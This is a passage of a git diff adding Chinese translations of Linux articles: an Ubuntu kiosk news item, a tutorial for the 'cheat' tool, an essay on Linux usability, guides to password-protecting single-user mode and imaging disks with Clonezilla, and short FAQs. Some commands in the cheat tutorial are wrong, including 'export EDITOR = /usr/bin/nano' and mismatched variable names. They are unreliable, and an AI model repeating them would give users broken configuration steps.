+[1]:http://itsfoss.com/things-to-do-after-installing-ubuntu-14-04/ +[2]:http://itsfoss.com/install-android-studio-ubuntu-linux/ + diff --git a/published/201409/20140801 How to Create an Ubuntu Kiosk Computer.md b/published/201409/20140801 How to Create an Ubuntu Kiosk Computer.md new file mode 100644 index 0000000000..22a803736c --- /dev/null +++ b/published/201409/20140801 How to Create an Ubuntu Kiosk Computer.md @@ -0,0 +1,41 @@ +如何创建Ubuntu 信息亭(kiosk) +================================================================================ + +**Linux发行版可以作为全功能打包,也可以按需分解,它驱动了从市内标示牌到市议会桌面系统在内的所有设备。** + +正是这种多样化,几乎可塑的质量,让Linux发行版,包括Ubuntu在内,在众多不同领域如此成功。 + +### 信息亭和单功能计算机 ### + +Ubuntu更为流行的使用之一,是在**信息亭(kiosk)类计算机**中。这些设备趋向于运行功能剥离的,或者功能有限的OS版本,只允许**一个单一应用运行**。 + +信息亭计算机可以设置提供短时的或者被动的访问,适用于网吧或只能让用户访问特定功能时(如网页浏览器)。 + +### 构建Ubuntu信息端 ### + +但你会怎样来创建这样一台计算机?好吧,不用去Google了。Linux开发者Oli Warner最近发布了两篇文章,介绍了使用Ubuntu 14.04和Google Chrome来创建单一功能的设备。 + +他的第一篇指南从零开始,使用Ubuntu Server和少量的软件包来创建一个轻量级的X和Openbox的组合,开机启动Chrome。该安装需要最多2GB的磁盘空间和仅仅512MB的内存来运行。 + +- [从零开始构建信息亭计算机][1] + +第二篇教程反其道而行,一步一步介绍了将一个现存的Ubuntu桌面安装转变为一个更轻巧的单一功能的变形版本。 + +- [将Ubuntu转换成信息亭计算机][2] + + +两个指南都不是给那些胆小的新手的,而对于大多数中级水平的用户而言却是简单易行的。跟着指南来获得一次实用的安装体验,不要畏首畏尾,大胆去剥离一些深层次的包和进程,或者加固安全吧,特别是如果想要在公共环境中使用时。 + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2014/07/create-ubuntu-kiosk + +作者:[Joey-Elijah Sneddon][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://plus.google.com/117485690627814051450/?rel=author +[1]:http://thepcspy.com/read/building-a-kiosk-computer-ubuntu-1404-chrome +[2]:http://thepcspy.com/read/converting-ubuntu-desktop-to-kiosk/ diff --git a/published/201409/20140804 Cheat--An Ultimate Command Line 'Cheat-Sheet' for Linux Beginners and Administrators.md b/published/201409/20140804 Cheat--An Ultimate Command Line 'Cheat-Sheet' for Linux Beginners and Administrators.md new file mode 100644 index 0000000000..28e3cad173 --- /dev/null +++ b/published/201409/20140804 Cheat--An Ultimate Command Line 'Cheat-Sheet' for Linux Beginners and Administrators.md @@ -0,0 +1,175 @@ +Cheat—— 给Linux初学者和管理员一个终极命令行‘备忘单’ +============================================================================================== +当你不确定你所运行的命令,尤其是那些使用了许多选项的复杂命令时,你会怎么做?在这种情况下,我们使用man pages来获取帮助。还有一些其它的选择可能包括像‘**help**’,‘**whereis**’和‘**whatis**’这样的命令。但是所有的这些既有优点,也有缺点。 + +当我们浏览**man pages**来查看选项和帮助的时候,里面的描述实在太冗长了,我们无法在短的时间里理解它的意思。 + +![Linux Man Pages](http://www.tecmint.com/wp-content/uploads/2014/07/Linux-Man-Pages.jpeg) +Linux Man Pages + +同样,‘**help**’命令可能也不会给你期待的答案。 + +![Help Command](http://www.tecmint.com/wp-content/uploads/2014/07/help-command.jpeg) +Help Command + +‘**whereis**’命令几乎不给你任何信息,除了安装二进制文件的位置(有些时候可能是重要的) + +![Whereis Command](http://www.tecmint.com/wp-content/uploads/2014/07/whereis-command.jpeg) +Whereis Command + +‘**whatis**’命令给出一套很严格的答案,它除了说出所查询命令的作用,并没有什么太大帮助。而且,它从来不说明可用的选项。 + +![Whatis Command](http://www.tecmint.com/wp-content/uploads/2014/07/whatis-command.jpeg) +Whatis Command + +直到在困难中解决问题前,我们已经使用了以上全部选项,但是现在来了一个交互式的备忘录应用程序‘**cheat**’,它将在其余的命令中脱颖而出。 + +### 什么是cheat? ### + +**cheat**是在GNU通用公共许可证下,为Linux命令行用户发行的交互式备忘单应用程序。它提供显示Linux命令使用案例,包括该命令所有的选项和简短但尚可理解的功能。 + +![Cheat: Provides Easy Command Options](http://www.tecmint.com/wp-content/uploads/2014/07/cheat-sheet.jpeg) + +Cheat:提供简单命令选项 + +### 在Linux系统中安装‘Cheat’ ### + +‘**Cheat**’有两个主要的依赖——‘**python**’ 和 ‘**pip**’,在安装‘**cheat**’之前,确保你的系统安装了python和pip。 + +### Install Python ### + + # apt-get install Python (基于Debian的系统) + # yum install python (基于小红帽的系统) + +Install Pip + + # apt-get install python-pip (基于Debian的系统) + # yum install python-pip (基于小红帽的系统) + +**Note**:pip是一个简单的安装替代,是一个有极大改进的Python第三方包安装器。 + +### 下载并安装Cheat ### + +我们将通过Git下载‘Cheat’,确保你安装了‘git’包,如果没有最好安装一下。 + + # apt-get install git (基于Debian的系统) + # yum install git (基于小红帽的系统) + +接下来,通过运行下面的命令来安装所需要的python依赖包。 + + # pip install docopt pygments + +现在,复制cheat的[Git库][1] + + # git clone https://github.com/chrisallenlane/cheat.git + +进入cheat目录,运行‘**setup.py**’(一个python脚本)。 + + # cd cheat + # python setup.py install + +如果安装很顺利,你就能够看到安装在系统上的cheat版本了。 + + # cheat -v + cheat 2.0.9 + +### cheat的一些必要配置 ### + +你必须在‘~/.bashrc’文件里设置‘**EDITOR**’环境变量,打开用户‘**.bashrc**’文件,然后把下面这行加入到里面: + + export EDITOR = /usr/bin/nano + +你可以使用你喜欢的编辑器来替代‘**nano**’。保存文件然后退出,再次登录以确保修改生效。 + +接下来,添加cheat的自动补全特性,来确保不同解释器下命令行的自动补全。为了到达该功能要求,简单地将‘**cheat.bash**’脚本clone下来,然后复制到你系统正确的路径下。 + + # wget https://github.com/chrisallenlane/cheat/raw/master/cheat/autocompletion/cheat.bash + # mv cheat.bash /etc/bash_completion.d/ + +**NOTE**:团队已经在Git上上传了其他解释器的自动补全脚本,这些都可以被克隆,然后用在不同的解释器上。使用下面的链接,以找到其余解释器的自动补全脚本: + +- [Auto Completion Script for Various Shells][2] + +不仅如此,如果需要的话,你也可以使用语法高亮。要想做到这一点,在你的‘**.bashrc**’文件中添加‘**CHEATCOLORS**’环境变量。 + + export CHEATCOLOR=true + +Cheat应用默认只提供最基本和最常用的命令。cheat备忘单的内容保存在**~/.cheat/.**目录里,我们可以手动在这个目录添加备忘单里面的内容,这样,我们的cheat应用将更强大。 + + # cheat -xyz + +这将打开xyz备忘单,如果没有的话就会创建一个。备忘单将使用**.bashrc**里设置的默认**编辑器**打开,默认编辑器就是在上面**.bashrc**所设置的。 + +### 一些Cheat命令的使用 ### + +一个包可以是 *.gz , *.bz2 , *.zip , *.xz,可是什么情况下用哪些选项呢? + +![tar command options](http://www.tecmint.com/wp-content/uploads/2014/07/cheat-tar.jpeg) +tar命令选项 + +除非在不同的地方咨询和核对后,我才使用**dd**命令,在此之前,无论我对这个命令多么的肯定,我从不使用它。现在,事情就变得简单多了。 + +![dd command options](http://www.tecmint.com/wp-content/uploads/2014/07/cheat-dd.jpeg) +dd命令选项 + +‘**uname**’命令帮助 + +![uname command options](http://www.tecmint.com/wp-content/uploads/2014/07/uname-command.jpeg) +uname命令选择 + +一个简短的**ifconfig**命令操作教程 + +![ifconfig command options](http://www.tecmint.com/wp-content/uploads/2014/07/ifconfig-command.jpeg) +ifconfig命令选项 + +‘top’命令,对管理员和普通用户来说,是最重要的命令之一。 + +![top command options](http://www.tecmint.com/wp-content/uploads/2014/07/top-command.jpeg) +top命令选项 + +我们来骗骗cheat命令,如何(尽管别有意义)?得到一个可用命令的列表,其实就是安装在你系统里的cheat备忘录。 + +![List All Linux Commands](http://www.tecmint.com/wp-content/uploads/2014/07/linux-commands.jpeg) +列出所有Linux命令 + +使用关键字搜索备忘单。 + +![Search Cheat Sheet](http://www.tecmint.com/wp-content/uploads/2014/07/search-cheat-sheet.jpeg) +搜索备忘单 + +来看看包含所有命令的内置备忘单。 + + $ cheat -d + + /home/avi/.cheat + /usr/local/lib/python2.7/dist-packages/cheat/cheatsheets + +复制内置的备忘单到你的本地目录。 + + # cp /usr/local/lib/python2.7/dist-packages/cheat/cheatsheets/* /home/avi/.cheat/ + +### 结论 ### + +这个超棒的工具在许多情况下担任“救世主”的角色,它给予你需要的信息,信息不冗余,不模糊,相反地,却击中要点。这是每个人都会需要的工具,很简单就能创建、安装,使用和理解,这个工具前途无量。 + +这个Git仓库已经添加了一个精彩的**gag**,这里我不打算去解释它,而留给各位来解释。 + +![Linux Gag](http://www.tecmint.com/wp-content/uploads/2014/07/linux-gag.jpeg) +Linux Gag + +好了,文章就要结束了,我会带着下一篇你们喜欢的有趣文章回到这里的,在此之前,要时刻关注我们。别忘了在下面的评论部分给我们留下您宝贵的反馈信息。 + +------------------------------------------------------------------------------------------------------------------------------- + +via: http://www.tecmint.com/cheat-command-line-cheat-sheet-for-linux-users/ + +作者:[Avishek Kumar][a] +译者:[su-kaiyao](https://github.com/su-kaiyao) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/avishek/ +[1]:http://www.tecmint.com/install-git-to-create-and-share-your-own-projects-on-github-repository/ +[2]:https://github.com/chrisallenlane/cheat/tree/master/cheat/autocompletion + diff --git a/published/201409/20140808 When Linux Was Perfect Enough.md b/published/201409/20140808 When Linux Was Perfect Enough.md new file mode 100644 index 0000000000..b10d02bd05 --- /dev/null +++ b/published/201409/20140808 When Linux Was Perfect Enough.md @@ -0,0 +1,68 @@ +什么时候Linux才能完美? +================================================================================ +前几天我的同事兼损友,Ken Starks,在FOSS Force上发表了[一篇文章][1],关于他最喜欢发牢骚的内容:Linux系统中那些不能正常工作的事情。这次他抱怨的是在Mint里使用KDE时碰到的字体问题。这对于Ken来说也不是什么新鲜事了。过去他写了一些文章,关于各种Linux发行版中的缺陷从来都没有被认真修复过。他的观点是,这些在一次又一次的发布中从没有被修复过的“小问题”,对于Linux桌面系统在赢得大众方面的失败需要负主要责任。 + +### 他也许是对的 ### + +圣诞节的时候,我给室友买了一个运行Android系统的二代Nexus 7平板,Android是一个建立在Linux内核基础上的操作系统。它拿起来就“能用”,不需要任何的调整。在过去的7个月里,她每天都要使用好几个小时。据我所了解的,她没发现任何需要修复的小问题。我敢肯定如果她碰到问题我会第一个知道,因为之前送给她Nexus的原因就是,我已经不想再继续维护她的Windows笔记本去满足她的需求了。她的电脑出问题后总是能找到我,而且总是希望我第一时间解决。Facebook不会等任何人,你懂的。 + +我说这个的原因是,Linux已经在计算机领域的手机和平板方面占据了首要位置。Apple确实通过iPhone和iPad赚了很多钱,但那是因为他们定的高价。而在市场占有率上,它远远比不上Android设备。而Microsoft也说明了Windows不再是过去那个无敌巨人。尽管花了大量的钱在电视广告和几乎CBS所有的连续剧中的显眼位置,Windows移动设备在市场占有率上看仍然仅仅只是个星号。 + +换句话说,Linux打赢了这场移动领域的战争。因为Google保证了Android拿起来就“能用”。 + +如今一般的计算机用户(我不喜欢“消费者”这个词)希望用他们的计算机来完成工作,而不是深入到里面去解决问题。这是可以理解的,就像一般拥有汽车的人,只是希望驾驶他们的汽车而不会想了解汽车的工作原理。就像大多数司机把他们的汽车送到修理店里去解决机械或电子问题,大多数的计算机用户也会把他们的设备送去返修而不操心是硬件问题或软件问题。他们只是希望这玩意儿能用。 + +### 也不全是这样子的 ### + +早在2002年的时候,我第一次安装使用GNU/Linux,像大多数美国人那样,我搞不定拨号连接,在我呆的这个小地方当时宽带还没普及。我在当地Best Buy商店里花了差不多70美元买了用热缩膜包装的Mandrake 9.0的Powerpack版,当时那里同时在卖Mandrake和Red Hat,现在仍然还在经营桌面PC业务。 + +在那个恐龙时代,Mandrake被认为是易用的Linux发行版中做的最好的。它安装简单,还有人说比Windows还简单,它自带的分区工具更是让划分磁盘像切苹果馅饼一样简单。不过实际上,Linux老手们经常公开嘲笑Mandrake,暗示易用的Linux不是真的Linux。 + +但是我很喜欢它,感觉来到了一个全新的世界。再也不用担心Windows的蓝屏死机和几乎每天一死了。不幸的是,之前在Windows下“能用”的很多外围设备也随之而去。 + +安装完Mandrake之后我要做的第一件事就是,把我的小白盒拿给[Dragonware Computers][2]的Michelle,把便宜的winmodem换成硬件调制解调器。就算是一个硬件猫意味着计算机响应更快,但是计算机商店却在40英里外的地方,并不是很方便,而且费用对我也有点压力。 + +但是我不介意。我对Microsoft并不感冒--而且使用一个“不同”的操作系统让我感觉自己就像一个计算机天才。 + +打印机也是个麻烦,但是这个问题对于Mandrake还好,不像其他大多数发行版还需要命令行里的操作才能解决。Mandrake提供了一个华丽的图形界面来设置打印机-如果你正好幸运的有一台能在Linux下工作的打印机的话。很多打印机——就算不是大多数——都不行。 + +我的还在保修期的Lexmark,在Windows下比其他打印机多出很多华而不实的小功能,厂商并不支持Linux版本,但是我找到一个多少能用的开源逆向工程驱动。它能在Mozilla浏览器里正常打印网页,但是在Star Office软件里打印的话会是用很小的字体塞到页面的右上角里。打印机还会发出很大的机械响声,让我想起了汽车变速箱在报废时发出的噪音。 + +Star Office问题的变通方案是把所有文字都保存到文本文件,然后在文本编辑器里打印。而对于那个听上去像是打印机处于天魔解体模式的噪音?我的方法是尽量不要打印。 + +### 更多的其他问题-对我来说太多了都快忘了 ### + +我肯定记得的一个问题是,声卡工作不太正常,尽管Mandrake的界面上显示检测到并安装了声卡。泡了一段时间论坛也没什么收获,最终有人建议可能是权限问题。我看了一下,我靠!被他说中了。Mandrake默认的声卡权限不允许用户级别账号的访问,这也是在发行版发布之前应该要修改掉的问题,就像Ken所说的。特别是在这种用热缩膜包装好的售价70美金的发行版-这在2002年可比现在值钱多了。 + +好吧,我还有个并口扫描仪,在我转移到Linux之前两个星期买的,之后它就基本是块砖了,因为没有Linux下的驱动。 + +我的观点是在那个年代里这些都不重要。我们大多数人都习惯了修改配置文件之类的事情,即便是运行微软产品的“IBM兼容”计算机。就像那个年代的大多数用户,我刚学开始接触使用命令行的DOS机器,在它上面打印机需要针对每个程序单独设置,而且写写简单的autoexec.bat是必备的技能。 + +
![Linux as a 1966 “goat.”](http://fossforce.com/wp-content/uploads/2014/08/Pontiac_GTO_1966-300x224.jpg)
+ +
Linux就像1966年的“山羊”
+ +那时,能够摆弄操作系统内部的配置是能够拥有一台计算机的一个简单部分。我们大多数使用计算机的人要么是极客或是希望成为极客。我们为这种能够调整计算机按我们想要的方式运行的能力而感到骄傲。我们就是那个年代里高科技版本的好男孩,他们会在周六下午在树荫下改装他们肌肉车上的排气管,通风管,化油器之类的。 + +### 不过现在大家不是这样使用计算机的 ### + +现在的计算机用户只是希望它能干活,不会有什么问题。而不想知道为什么Hulu或Netflix会不工作,或者为什么有些程序里字体显示正常而有的却没有。在安装完Linux后,他们不再希望听到“噢,这只是个很容易修改的小问题”,就像是开着新买的Chevy在车流中打不上火歇菜了时,不想听到“这只是个小问题我们会改的”。 + +现在,也包括我。尽管我很高兴还有足够的能力去修改从Mint或Fedora开发者漏过来的小问题,也不愿去处理。我有自己的事情。而且在我不用工作的时候,宁愿把时间浪费在Facebook上和朋友闲扯,也不想被自己的计算机搞得恼火。 + +当然,Linux随着时间已经改变很多了。近几年,可以完全肯定在笔记本电脑上安装一个主流Linux发行版的时候,Wi-Fi肯定能用。而且,大多数时候你只需要把打印机插入USB端口中就好了,它就已经准备好并工作了。但是,仍然有许多小细节需要处理-一些很久很久之前就应该处理的东西。 + +也许Ken还得继续抱怨下去... + +-------------------------------------------------------------------------------- + +via: http://fossforce.com/2014/08/when-linux-was-perfect-enough/ + +作者:Christine Hall +译者:[zpl1025](https://github.com/zpl1025) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://fossforce.com/2014/07/ripe-linux-nits-to-pick/ +[2]:http://www.dragonware.com/ diff --git a/published/201409/20140811 Disable or Password Protect Single User Mode or RHEL ro CentOS ro 5.x ro 6.x.md b/published/201409/20140811 Disable or Password Protect Single User Mode or RHEL ro CentOS ro 5.x ro 6.x.md new file mode 100644 index 0000000000..6beb3aab1c --- /dev/null +++ b/published/201409/20140811 Disable or Password Protect Single User Mode or RHEL ro CentOS ro 5.x ro 6.x.md @@ -0,0 +1,67 @@ +在RHEL / CentOS / 5.x / 6.x上用密码保护单用户模式 +================================================================================ +大家好,如果您还没有使用密码保护单用户模式,这对你的Linux服务器会是一个很大的风险,所以在涉及到安全性时,使用密码保护单用户模式是非常重要的。 + +今天这篇文章我会向你展示如何在RHEL / CentOS 5.x 和 RHEL / CentOS 6.x上使用密码保护你的单用户模式。 + +请仔细地执行所给出的命令,不然你的系统将会无法正常启动。首先,我会请你先完整地读完,然后在尝试。请自己承担相应的后果:-) + +![Password Protect](http://www.tejasbarot.com/wp-content/uploads//password-300x140.jpg) + +Password Protect + +### 1. 对于 RHEL / CentOS 5.x ### + +#### 1.1 开始之前请先备份你的 /etc/inittab #### + + cp /etc/inittab /etc/inittab.backup + +**要使单用户模式受到密码保护,用root执行下面的命令 :-** + + [root@tejas-barot-linux ~]# sed -i '1i su:S:wait:/sbin/sulogin' /etc/inittab + +**这样你会看到像下面这样的** + + su:S:wait:/sbin/sulogin + # Default runlevel. The runlevels used by RHS are: + # 0 - halt (Do NOT set initdefault to this) + # 1 - Single user mode + # 2 - Multiuser, without NFS (The same as 3, if you do not have networking) + # 3 - Full multiuser mode + # 4 - unused + # 5 - X11 + # 6 - reboot (Do NOT set initdefault to this) + # + id:3:initdefault: + +*NOTE: 如果你不想使用sed命令你可以在/etc/inittab 顶部加入 “su:S:wait:/sbin/sulogin”* + +### 2. 对于 RHEL / CentOS 6.x ### + +#### 2.1 开始之前请先备份你的 /etc/inittab#### + + cp /etc/sysconfig/init /etc/sysconfig/init.backup + +#### 2.2 要使单用户模式受到密码保护,用root执行下面的命令 :- #### + + [root@tejas-barot-linux ~]# sed -i 's/SINGLE=\/sbin\/sushell/SINGLE=\/sbin\/sulogin/' /etc/sysconfig/init + +**这样你会看到像下面这样的** + + SINGLE=/sbin/sulogin + +*注意 :- 如果你不想使用sed你可以在 /etc/sysconfig/init 中直接改成 “SINGLE=/sbin/sulogin”* + +享受Linux :) 享受开源 + +-------------------------------------------------------------------------------- + +via: http://www.tejasbarot.com/2014/05/05/disable-password-protect-single-user-mode-rhel-centos-5-x-6-x/ + +作者:[Tejas Barot][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://plus.google.com/+TejasBarot \ No newline at end of file diff --git a/published/201409/20140811 How to Image and Clone Hard Drives with Clonezilla.md b/published/201409/20140811 How to Image and Clone Hard Drives with Clonezilla.md new file mode 100644 index 0000000000..eb07e4bb14 --- /dev/null +++ b/published/201409/20140811 How to Image and Clone Hard Drives with Clonezilla.md @@ -0,0 +1,97 @@ +使用Clonezilla对硬盘进行镜像和克隆 +================================================================================ + +Clonezilla是一个用于Linux,Free-Net-OpenBSD,Mac OS X,Windows以及Minix的分区和磁盘克隆程序。它支持所有主要的文件系统,包括EXT,NTFS,FAT,XFS,JFS和Btrfs,LVM2,以及VMWare的企业集群文件系统VMFS3和VMFS5。Clonezilla支持32位和64位系统,同时支持旧版BIOS和UEFI BIOS,并且同时支持MBR和GPT分区表。它是一个用于完整备份Windows系统和所有安装于上的应用软件的好工具,而我喜欢用它来为Linux测试系统做备份,以便我可以在其上做疯狂的实验搞坏后,可以快速恢复它们。 + +Clonezilla也可以使用dd命令来备份不支持的文件系统,该命令可以复制块而非文件,因而不必在意文件系统。简单点说,就是Clonezilla可以复制任何东西。(关于块的快速说明:磁盘扇区是磁盘上最小的可编址存储单元,而块是由单个或者多个扇区组成的逻辑数据结构。) + +Clonezilla分为两个版本:Clonezilla Live和Clonezilla Server Edition(SE)。Clonezilla Live对于将单个计算机克隆到本地存储设备或者网络共享来说是一流的。而Clonezilla SE则适合更大的部署,用于一次性快速多点克隆整个网络中的PC。Clonezilla SE是一个神奇的软件,我们将在今后讨论。今天,我们将创建一个Clonezilla Live USB存储棒,克隆某个系统,然后恢复它。 + +### Clonezilla和Tuxboot ### + +当你访问下载页时,你会看到[稳定版和可选稳定发行版][1]。也有测试版本,如果你有兴趣帮助改善Clonezilla,那么我推荐你使用此版本。稳定版基于Debian,不含有非自由软件。可选稳定版基于Ubuntu,包含有一些非自由固件,并支持UEFI安全启动。 + +在你[下载Clonezilla][2]后,请安装[Tuxboot][3]来复制Clonezilla到USB存储棒。Tuxboot是一个Unetbootin的修改版,它支持Clonezilla;你不能使用Unetbootin,因为它无法配合工作。安装Tuxboot有点让人头痛,然而Ubuntu用户通过个人包归档包(PPA)方便地安装: + + $ sudo apt-add-repository ppa:thomas.tsai/ubuntu-tuxboot + $ sudo apt-get update + $ sudo apt-get install tuxboot + +如果你没有运行Ubuntu,并且你的发行版不包含打包好的Tuxboot版本,那么请[下载源代码tarball][4],并遵循README.txt文件中的说明来编译并安装。 + +
![Figure 1: Creating a partition on the USB stick for Clonezilla.](http://www.linux.com/images/stories/41373/fig-1-gparted.jpeg)
+ +
*图1: 在USB存储棒上为Clonezilla创建分区*
+ + +安装完Tuxboot后,就可以使用它来创建你精巧的可直接启动的Clonezilla USB存储棒了。首先,创建一个最小200MB的FAT 32分区;图1(上图)展示了使用GParted来进行分区。我喜欢使用类似“Clonezilla”这样的标签,这会让我知道它是个什么东西。该例子中展示了将一个2GB的存储棒格式化成一个单个分区。 + +然后,启动Tuxboot(图2)。选中“预下载的(Pre-downloaded)”然后点击带省略号的按钮来选择Clonezilla文件。它会自动发现你的USB存储棒,而你需要选中分区号来确保它找到的是正确的那个,我的例子中是/dev/sdd1。点击确定,然后当它完成后点击退出。它会问你是否要重启动,不要担心,现在不用重启。现在你有一个精巧的便携式Clonezilla USB存储棒了,你可以随时随地使用它了。 + +
![Figure 2: Fire up Tuxboot.](http://www.linux.com/images/stories/41373/fig-2-tuxboot.jpeg)
+ +
*图2: 启动Tuxboot*
+ +### 创建磁盘镜像 ### + +在你想要备份的计算机上启动Clonezilla USB存储棒,第一个映入你眼帘的是常规的启动菜单。启动到默认条目。你会被问及使用何种语言和键盘,而当你到达启动Clonezilla菜单时,请选择启动Clonezilla。在下一级菜单中选择设备镜像,然后进入下一屏。 + +这一屏有点让人摸不着头脑,里头有什么local_dev,ssh_server,samba_server,以及nfs_server之类的选项。这里就是要你选择将备份的镜像拷贝到哪里,目标分区或者驱动器必须和你要拷贝的卷要一样大,甚至更大。如果你选择local_dev,那么你需要一个足够大的本地分区来存储你的镜像。附加的USB硬盘驱动器是一个不错的,快速而又简单的选项。如果你选择任何服务器选项,你需要能连接到服务器,并提供IP地址并登录上去。我将使用一个本地分区,这就是说要选择local_dev。 + +当你选择local_dev时,Clonezilla会扫描所有连接到本地的存储折本,包括硬盘和USB存储设备。然后,它会列出所有分区。选择你想要存储镜像的分区,然后它会问你使用哪个目录并列出目录。选择你所需要的目录,然后进入下一屏,它会显示所有的挂载以及已使用/可用的空间。按回车进入下一屏,请选择初学者还是专家模式。我选择初学者模式。 + +在下一屏中,你可以选择存盘,就是选择创建整个硬盘的镜像,还是创建分区镜像,创建分区镜像允许你选择单个分区。我想要选择分区。 + +下一屏中,它会问你新建镜像的名称。在接受默认名称,或者输入你自己的名称后,进入下一屏。Clonezilla会扫描你所有的分区并创建一个检查列表,你可以从中选择你想要拷贝的。选择完后,在下一屏中会让你选择是否进行文件系统检查并修复。我才没这耐心,所以直接跳过了。 + +下一屏中,会问你是否想要Clonezilla检查你新创建的镜像,以确保它是可恢复的。选“是”吧,确保万无一失。接下来,它会给你一个命令行提示,如果你想用命令行而非GUI,那么你必须再次按回车。你需要再次确认,并输入y来确认制作拷贝。 + +在Clonezilla创建新镜像的时候,你可以好好欣赏一下这个友好的红、白、蓝三色的进度屏(图3)。 + +
![Figure 3: Watch the creation of your new image.](http://www.linux.com/images/stories/41373/fig-3-export.jpeg)
+ +
*图3: 守候创建新镜像*
+ +全部完成后,按回车然后选择重启,记得拔下你的Clonezilla USB存储棒。正常启动计算机,然后去看看你新创建的Clonezilla镜像吧。你应该看到像下面这样的东西: + + $ ls -l /2014-08-07-11-img/ + total 1241448 + -rw-r--r-- 1 root root 1223 Aug 7 04:22 blkdev.list + -rw-r--r-- 1 root root 636 Aug 7 04:22 blkid.list + -rw-r--r-- 1 root root 3658 Aug 7 04:24 clonezilla-img + -rw-r--r-- 1 root root 12379 Aug 7 04:24 Info-dmi.txt + -rw-r--r-- 1 root root 22685 Aug 7 04:24 Info-lshw.txt + -rw-r--r-- 1 root root 3652 Aug 7 04:24 Info-lspci.txt + -rw-r--r-- 1 root root 171 Aug 7 04:24 Info-packages.txt + -rw-r--r-- 1 root root 86 Aug 7 04:24 Info-saved-by-cmd.txt + -rw-r--r-- 1 root root 5 Aug 7 04:24 parts + -rw------- 1 root root 1270096769 Aug 7 04:24 sda6.ext4-ptcl-img.gz.aa + -rw-r--r-- 1 root root 37 Aug 7 04:22 sda-chs.sf + -rw-r--r-- 1 root root 1048064 Aug 7 04:22 sda-hidden-data-after-mbr + -rw-r--r-- 1 root root 512 Aug 7 04:22 sda-mbr + -rw-r--r-- 1 root root 750 Aug 7 04:22 sda-pt.parted + -rw-r--r-- 1 root root 625 Aug 7 04:22 sda-pt.parted.compact + -rw-r--r-- 1 root root 514 Aug 7 04:22 sda-pt.sf + +### 恢复Clonezilla镜像 ### + +恢复镜像和创建镜像类似。再次使用Clonezilla启动,经过同样的初始化步骤后,选择dev_image,然后在local_dev屏,选择你要恢复的镜像所在的位置,它要么在本地设备上,要么在网络共享上。然后继续下面的操作,确保你的恢复镜像正确,并选择了正确的位置。 + +你可以在[Clonezilla Live文档页][5]获得更多Clonezilla的神奇力量。 + +-------------------------------------------------------------------------------- + +via: http://www.linux.com/learn/tutorials/783416-how-to-image-and-clone-hard-drives-with-clonezilla + +作者:[Carla Schroder][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.linux.com/community/forums/person/3734 +[1]:http://www.linux.com/learn/tutorials/783416-how-to-image-and-clone-hard-drives-with-clonezilla#57_why_ubuntu_based_clonezilla_live.faq +[2]:http://clonezilla.org/downloads.php +[3]:http://tuxboot.sourceforge.net/ +[4]:http://sourceforge.net/projects/tuxboot/files/ +[5]:http://clonezilla.org/clonezilla-live-doc.php diff --git a/published/201409/20140811 Linux FAQs with Answers--How to check the last time system was rebooted on Linux.md b/published/201409/20140811 Linux FAQs with Answers--How to check the last time system was rebooted on Linux.md new file mode 100644 index 0000000000..986b84f510 --- /dev/null +++ b/published/201409/20140811 Linux FAQs with Answers--How to check the last time system was rebooted on Linux.md @@ -0,0 +1,39 @@ +Linux有问必答:如何检查Linux系统的最后重启时间 +================================================================================ + +> **问题**: 是否有一个命令可以快速地检查系统已经运行了多久? 也就是我怎么知道Linux系统最后的重启时间? + +有许多方法来查询系统最后的重启时间。 + +### 方法一 ### + +第一种方法是使用last命令 + + $ last reboot + +![](https://farm4.staticflickr.com/3925/14881994335_041e9c2f86_z.jpg) + +这条命令实际上显示的是最近几天的系统运行时间。last原本被设计来显示某个特定用户的登录历史。在Linux中,有一个特别的“伪用户”称为reboot会在系统重启的时候立即自动登录。这样通过检查reboot用户的登录历史,你就可以检查最后的重启时间。 + +### 方法二 ### + +另外一个检测系统最后启动时间的方法是使用who命令带上‘-b’选项。 + + $ who -b + +### 方法三 ### + +你同样可以使用uptime命令来推断系统最后的启动时间。uptime命令会显示当前的时间,同样也会显示系统已经运行的时间。从这些信息中,你就可以计算系统最后启动的时间了 + + $ uptime + +![](https://farm4.staticflickr.com/3915/14881660192_58f2843969_o.png) + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/check-last-time-system-rebooted-linux.html + +译者:[geekpi](https://github.com/geekpi) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201409/20140818 Linux FAQs with Answers--How to set a static MAC address on VMware ESXi virtual machine.md b/published/201409/20140818 Linux FAQs with Answers--How to set a static MAC address on VMware ESXi virtual machine.md new file mode 100644 index 0000000000..dacd04fc3b --- /dev/null +++ b/published/201409/20140818 Linux FAQs with Answers--How to set a static MAC address on VMware ESXi virtual machine.md @@ -0,0 +1,42 @@ +Linux有问必答:如何在VMware ESXi虚拟机上设置静态MAC地址 +================================================================================ +> **问题**:我想给VMware ESXi上的一台虚拟机分配一个静态的MAC地址。然而当我开始这么做的时候,虚拟机就不能启动了,并且抛出了一个这样一个错误"00:0c:29:1f:4a:ab is not an allowed static Ethernet address. It conflicts with VMware reserved MACs"(00:0c:29:1f:4a:ab不是一个合法的静态以太网地址。它与VMWare的保留MAC地址冲突)。我该如何在VMware ESXi虚拟机上设置静态MAC地址? + +当你在VMware ESXi上创建虚拟机时,虚拟机的每个网络接口就被分配了一个动态的NAC地址。如果你想要改变默认的行为并给你的虚拟机分配一个静态MAC地址时就这样做 + +![](https://farm6.staticflickr.com/5592/14726591627_64c1dc67ce_z.jpg) + 